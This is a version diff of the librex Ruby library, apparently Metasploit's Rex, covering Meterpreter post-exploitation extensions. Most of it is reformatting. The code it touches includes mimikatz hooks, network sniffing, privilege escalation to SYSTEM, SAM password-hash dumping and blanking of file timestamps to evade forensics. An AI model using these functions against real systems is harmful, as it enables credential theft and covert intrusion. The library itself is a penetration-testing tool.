librex 0.0.68 → 0.0.70

data/lib/rex/post/meterpreter/extensions/mimikatz/tlv.rb

@@ -0,0 +1,16 @@
+# -*- coding: binary -*-
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Mimikatz
+
+TLV_TYPE_MIMIKATZ_RESULT	= TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1)
+TLV_TYPE_MIMIKATZ_FUNCTION	= TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
+TLV_TYPE_MIMIKATZ_ARGUMENT	= TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
+
+end
+end
+end
+end
+end

data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb

@@ -1,4 +1,3 @@
-#!/usr/bin/env ruby
 # -*- coding: binary -*-
 
 require 'rex/post/meterpreter/extensions/networkpug/tlv'
@@ -14,44 +13,44 @@ module NetworkPug
 
 class NetworkPug < Extension
 
-	def initialize(client)
-		super(client, 'networkpug')
-
-		client.register_extension_aliases(
-			[
-				{
-					'name' => 'networkpug',
-					'ext'  => self
-				},
-			])
-	end
-
-	def networkpug_start(interface, filter)
-		request = Packet.create_request('networkpug_start')
-		request.add_tlv(TLV_TYPE_NETWORKPUG_INTERFACE, interface)
-		request.add_tlv(TLV_TYPE_NETWORKPUG_FILTER, filter) if(filter and filter != "")
-		response = client.send_request(request)
-
-		channel = nil
-		channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
-
-		if(channel_id)
-			channel = Rex::Post::Meterpreter::Channels::Pools::StreamPool.new(
-				client,
-				channel_id,
-				"networkpug_interface",
-				CHANNEL_FLAG_SYNCHRONOUS
-			)
-		end
-
-		return response, channel
-	end
-
-	def networkpug_stop(interface)
-		request = Packet.create_request('networkpug_stop')
-		request.add_tlv(TLV_TYPE_NETWORKPUG_INTERFACE, interface)
-		response = client.send_request(request)
-	end
+  def initialize(client)
+    super(client, 'networkpug')
+
+    client.register_extension_aliases(
+      [
+        {
+          'name' => 'networkpug',
+          'ext'  => self
+        },
+      ])
+  end
+
+  def networkpug_start(interface, filter)
+    request = Packet.create_request('networkpug_start')
+    request.add_tlv(TLV_TYPE_NETWORKPUG_INTERFACE, interface)
+    request.add_tlv(TLV_TYPE_NETWORKPUG_FILTER, filter) if(filter and filter != "")
+    response = client.send_request(request)
+
+    channel = nil
+    channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
+
+    if(channel_id)
+      channel = Rex::Post::Meterpreter::Channels::Pools::StreamPool.new(
+        client,
+        channel_id,
+        "networkpug_interface",
+        CHANNEL_FLAG_SYNCHRONOUS
+      )
+    end
+
+    return response, channel
+  end
+
+  def networkpug_stop(interface)
+    request = Packet.create_request('networkpug_stop')
+    request.add_tlv(TLV_TYPE_NETWORKPUG_INTERFACE, interface)
+    response = client.send_request(request)
+  end
 
 end
 

data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb

@@ -6,7 +6,7 @@ module Extensions
 module NetworkPug
 
 TLV_TYPE_EXTENSION_NETWORKPUG	= 0
-TLV_TYPE_NETWORKPUG_INTERFACE	= TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_NETWORKPUG + TLV_EXTENSIONS + 1) 
+TLV_TYPE_NETWORKPUG_INTERFACE	= TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_NETWORKPUG + TLV_EXTENSIONS + 1)
 TLV_TYPE_NETWORKPUG_FILTER	= TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_NETWORKPUG + TLV_EXTENSIONS + 2)
 
 end

data/lib/rex/post/meterpreter/extensions/priv/fs.rb

@@ -1,4 +1,3 @@
-#!/usr/bin/env ruby
 # -*- coding: binary -*-
 
 module Rex
@@ -15,104 +14,104 @@ module Priv
 ###
 class Fs
 
-	#
-	# Initializes the file system subsystem of the privilege escalation
-	# extension.
-	#
-	def initialize(client)
-		self.client = client
-	end
-
-	#
-	# Returns a hash of the Modified, Accessed, Created, and Entry Modified
-	# values for the specified file path.
-	#
-	def get_file_mace(file_path)
-		request = Packet.create_request('priv_fs_get_file_mace')
-
-		request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
-
-		response = client.send_request(request)
-
-		# Return the hash of times associated with the MACE values
-		begin
-			return {
-				'Modified'       => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_MODIFIED)),
-				'Accessed'       => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_ACCESSED)),
-				'Created'        => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_CREATED)),
-				'Entry Modified' => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_EMODIFIED))
-			}
-		rescue RangeError
-			raise RangeError, "Invalid MACE values"
-		end
-	end
-
-	#
-	# Sets the Modified, Accessed, Created, and Entry Modified attributes of
-	# the specified file path.  If a nil is supplied for a value, it will not
-	# be modified.  Otherwise, the times should be instances of the Time class.
-	#
-	def set_file_mace(file_path, modified = nil, accessed = nil, created = nil,
-		entry_modified = nil)
-		request = Packet.create_request('priv_fs_set_file_mace')
-
-		request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
-		request.add_tlv(TLV_TYPE_FS_FILE_MODIFIED, modified.to_i) if (modified)
-		request.add_tlv(TLV_TYPE_FS_FILE_ACCESSED, accessed.to_i) if (accessed)
-		request.add_tlv(TLV_TYPE_FS_FILE_CREATED, created.to_i) if (created)
-		request.add_tlv(TLV_TYPE_FS_FILE_EMODIFIED, entry_modified.to_i) if (entry_modified)
-
-		client.send_request(request)
-
-		true
-	end
-
-	#
-	# Sets the MACE attributes of the specified target_file_path to the MACE
-	# attributes of the source_file_path.
-	#
-	def set_file_mace_from_file(target_file_path, source_file_path)
-		request = Packet.create_request('priv_fs_set_file_mace_from_file')
-
-		request.add_tlv(TLV_TYPE_FS_FILE_PATH, target_file_path)
-		request.add_tlv(TLV_TYPE_FS_SRC_FILE_PATH, source_file_path)
-
-		client.send_request(request)
-
-		true
-	end
-
-	#
-	# Sets the MACE values to the minimum threshold that will cause them to not
-	# be displayed by most all products for a file.
-	#
-	def blank_file_mace(file_path)
-		request = Packet.create_request('priv_fs_blank_file_mace')
-
-		request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
-
-		client.send_request(request)
-
-		true
-	end
-
-	#
-	# Recursively set the MACE values to the minimum threshold for the supplied
-	# directory.
-	#
-	def blank_directory_mace(dir_path)
-		request = Packet.create_request('priv_fs_blank_directory_mace')
-
-		request.add_tlv(TLV_TYPE_FS_FILE_PATH, dir_path)
-
-		client.send_request(request)
-
-		true
-	end
+  #
+  # Initializes the file system subsystem of the privilege escalation
+  # extension.
+  #
+  def initialize(client)
+    self.client = client
+  end
+
+  #
+  # Returns a hash of the Modified, Accessed, Created, and Entry Modified
+  # values for the specified file path.
+  #
+  def get_file_mace(file_path)
+    request = Packet.create_request('priv_fs_get_file_mace')
+
+    request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
+
+    response = client.send_request(request)
+
+    # Return the hash of times associated with the MACE values
+    begin
+      return {
+        'Modified'       => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_MODIFIED)),
+        'Accessed'       => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_ACCESSED)),
+        'Created'        => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_CREATED)),
+        'Entry Modified' => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_EMODIFIED))
+      }
+    rescue RangeError
+      raise RangeError, "Invalid MACE values"
+    end
+  end
+
+  #
+  # Sets the Modified, Accessed, Created, and Entry Modified attributes of
+  # the specified file path.  If a nil is supplied for a value, it will not
+  # be modified.  Otherwise, the times should be instances of the Time class.
+  #
+  def set_file_mace(file_path, modified = nil, accessed = nil, created = nil,
+    entry_modified = nil)
+    request = Packet.create_request('priv_fs_set_file_mace')
+
+    request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
+    request.add_tlv(TLV_TYPE_FS_FILE_MODIFIED, modified.to_i) if (modified)
+    request.add_tlv(TLV_TYPE_FS_FILE_ACCESSED, accessed.to_i) if (accessed)
+    request.add_tlv(TLV_TYPE_FS_FILE_CREATED, created.to_i) if (created)
+    request.add_tlv(TLV_TYPE_FS_FILE_EMODIFIED, entry_modified.to_i) if (entry_modified)
+
+    client.send_request(request)
+
+    true
+  end
+
+  #
+  # Sets the MACE attributes of the specified target_file_path to the MACE
+  # attributes of the source_file_path.
+  #
+  def set_file_mace_from_file(target_file_path, source_file_path)
+    request = Packet.create_request('priv_fs_set_file_mace_from_file')
+
+    request.add_tlv(TLV_TYPE_FS_FILE_PATH, target_file_path)
+    request.add_tlv(TLV_TYPE_FS_SRC_FILE_PATH, source_file_path)
+
+    client.send_request(request)
+
+    true
+  end
+
+  #
+  # Sets the MACE values to the minimum threshold that will cause them to not
+  # be displayed by most all products for a file.
+  #
+  def blank_file_mace(file_path)
+    request = Packet.create_request('priv_fs_blank_file_mace')
+
+    request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
+
+    client.send_request(request)
+
+    true
+  end
+
+  #
+  # Recursively set the MACE values to the minimum threshold for the supplied
+  # directory.
+  #
+  def blank_directory_mace(dir_path)
+    request = Packet.create_request('priv_fs_blank_directory_mace')
+
+    request.add_tlv(TLV_TYPE_FS_FILE_PATH, dir_path)
+
+    client.send_request(request)
+
+    true
+  end
 
 protected
 
-	attr_accessor :client # :nodoc:
+  attr_accessor :client # :nodoc:
 
 end
 

data/lib/rex/post/meterpreter/extensions/priv/passwd.rb

@@ -1,4 +1,3 @@
-#!/usr/bin/env ruby
 # -*- coding: binary -*-
 
 module Rex
@@ -14,48 +13,48 @@ module Priv
 ###
 class SamUser
 
-	#
-	# Initializes the class from a hash string like this:
-	#
-	# Administrator:500:aad3b435b51404eeaadfb435b51404ee:31d6cfe0d16de931b73c59d7e0c089c0:::
-	#
-	def initialize(hash_str)
-		self.user_name, self.user_id, self.lanman, self.ntlm = hash_str.split(/:/)
-
-		self.hash_string = hash_str
-	end
-
-	#
-	# Returns the hash string that was supplied to the constructor.
-	#
-	def to_s
-		hash_string
-	end
-
-	#
-	# The raw hash string that was passed to the class constructor.
-	#
-	attr_reader :hash_string
-	#
-	# The username from the SAM database entry.
-	#
-	attr_reader :user_name
-	#
-	# The user's unique identifier from the SAM database.
-	#
-	attr_reader :user_id
-	#
-	# The LM hash.
-	#
-	attr_reader :lanman
-	#
-	# The NTLM hash.
-	#
-	attr_reader :ntlm
+  #
+  # Initializes the class from a hash string like this:
+  #
+  # Administrator:500:aad3b435b51404eeaadfb435b51404ee:31d6cfe0d16de931b73c59d7e0c089c0:::
+  #
+  def initialize(hash_str)
+    self.user_name, self.user_id, self.lanman, self.ntlm = hash_str.split(/:/)
+
+    self.hash_string = hash_str
+  end
+
+  #
+  # Returns the hash string that was supplied to the constructor.
+  #
+  def to_s
+    hash_string
+  end
+
+  #
+  # The raw hash string that was passed to the class constructor.
+  #
+  attr_reader :hash_string
+  #
+  # The username from the SAM database entry.
+  #
+  attr_reader :user_name
+  #
+  # The user's unique identifier from the SAM database.
+  #
+  attr_reader :user_id
+  #
+  # The LM hash.
+  #
+  attr_reader :lanman
+  #
+  # The NTLM hash.
+  #
+  attr_reader :ntlm
 
 protected
 
-	attr_writer :hash_string, :user_name, :user_id, :lanman, :ntlm # :nodoc:
+  attr_writer :hash_string, :user_name, :user_id, :lanman, :ntlm # :nodoc:
 
 end
 

data/lib/rex/post/meterpreter/extensions/priv/priv.rb

@@ -1,4 +1,3 @@
-#!/usr/bin/env ruby
 # -*- coding: binary -*-
 
 require 'rex/post/meterpreter/extensions/priv/tlv'
@@ -20,93 +19,89 @@ module Priv
 ###
 class Priv < Extension
 
-	#
-	# Initializes the privilege escalationextension.
-	#
-	def initialize(client)
-		super(client, 'priv')
-
-		client.register_extension_aliases(
-			[
-				{
-					'name' => 'priv',
-					'ext'  => self
-				},
-			])
-
-		# Initialize sub-classes
-		self.fs = Fs.new(client)
-	end
-
-	#
-	# Attempt to elevate the meterpreter to Local SYSTEM
-	#
-	def getsystem( technique=0 )
-		request = Packet.create_request( 'priv_elevate_getsystem' )
-
-		elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
-
-		if( client.platform == 'x64/win64' )
-			elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.x64.dll" )
-		else
-			elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.dll" )
-		end
-
-		elevator_path = ::File.expand_path( elevator_path )
-
-		elevator_data = ""
-
-		::File.open( elevator_path, "rb" ) { |f|
-			elevator_data += f.read( f.stat.size )
-		}
-
-		request.add_tlv( TLV_TYPE_ELEVATE_TECHNIQUE, technique )
-		request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_NAME, elevator_name )
-		request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_DLL, elevator_data )
-		request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_LENGTH, elevator_data.length )
-
-		# as some service routines can be slow we bump up the timeout to 90 seconds
-		response = client.send_request( request, 90 )
-
-		technique = response.get_tlv_value( TLV_TYPE_ELEVATE_TECHNIQUE )
-
-		if( response.result == 0 and technique != nil )
-			client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
-			client.sys.config.getprivs
-			if client.framework.db and client.framework.db.active
-				client.framework.db.report_note(
-					:host => client.sock.peerhost,
-					:workspace => client.framework.db.workspace,
-					:type => "meterpreter.getsystem",
-					:data => {:technique => technique}
-				) rescue nil
-			end
-			return [ true, technique ]
-		end
-
-		return [ false, 0 ]
-	end
-
-	#
-	# Returns an array of SAM hashes from the remote machine.
-	#
-	def sam_hashes
-		# This can take a long long time for large domain controls, bump the timeout to one hour
-		response = client.send_request(Packet.create_request('priv_passwd_get_sam_hashes'), 3600)
-
-		response.get_tlv_value(TLV_TYPE_SAM_HASHES).split(/\n/).map { |hash|
-			SamUser.new(hash)
-		}
-	end
-
-	#
-	# Modifying privileged file system attributes.
-	#
-	attr_reader :fs
+  #
+  # Initializes the privilege escalationextension.
+  #
+  def initialize(client)
+    super(client, 'priv')
+
+    client.register_extension_aliases(
+      [
+        {
+          'name' => 'priv',
+          'ext'  => self
+        },
+      ])
+
+    # Initialize sub-classes
+    self.fs = Fs.new(client)
+  end
+
+  #
+  # Attempt to elevate the meterpreter to Local SYSTEM
+  #
+  def getsystem( technique=0 )
+    request = Packet.create_request( 'priv_elevate_getsystem' )
+
+    elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
+
+    elevator_path = MeterpreterBinaries.path('elevator', client.binary_suffix)
+
+    elevator_path = ::File.expand_path( elevator_path )
+
+    elevator_data = ""
+
+    ::File.open( elevator_path, "rb" ) { |f|
+      elevator_data += f.read( f.stat.size )
+    }
+
+    request.add_tlv( TLV_TYPE_ELEVATE_TECHNIQUE, technique )
+    request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_NAME, elevator_name )
+    request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_DLL, elevator_data )
+    request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_LENGTH, elevator_data.length )
+
+    # as some service routines can be slow we bump up the timeout to 90 seconds
+    response = client.send_request( request, 90 )
+
+    technique = response.get_tlv_value( TLV_TYPE_ELEVATE_TECHNIQUE )
+
+    if( response.result == 0 and technique != nil )
+      client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
+      client.sys.config.getprivs
+      if client.framework.db and client.framework.db.active
+        client.framework.db.report_note(
+          :host => client.sock.peerhost,
+          :workspace => client.framework.db.workspace,
+          :type => "meterpreter.getsystem",
+          :data => {:technique => technique}
+        ) rescue nil
+      end
+      return [ true, technique ]
+    end
+
+    return [ false, 0 ]
+  end
+
+  #
+  # Returns an array of SAM hashes from the remote machine.
+  #
+  def sam_hashes
+    # This can take a long long time for large domain controls, bump the timeout to one hour
+    response = client.send_request(Packet.create_request('priv_passwd_get_sam_hashes'), 3600)
+
+    response.get_tlv_value(TLV_TYPE_SAM_HASHES).split(/\n/).map { |hash|
+      SamUser.new(hash)
+    }
+  end
+
+  #
+  # Modifying privileged file system attributes.
+  #
+  attr_reader :fs
 
 protected
 
-	attr_writer :fs # :nodoc:
+  attr_writer :fs # :nodoc:
 
 end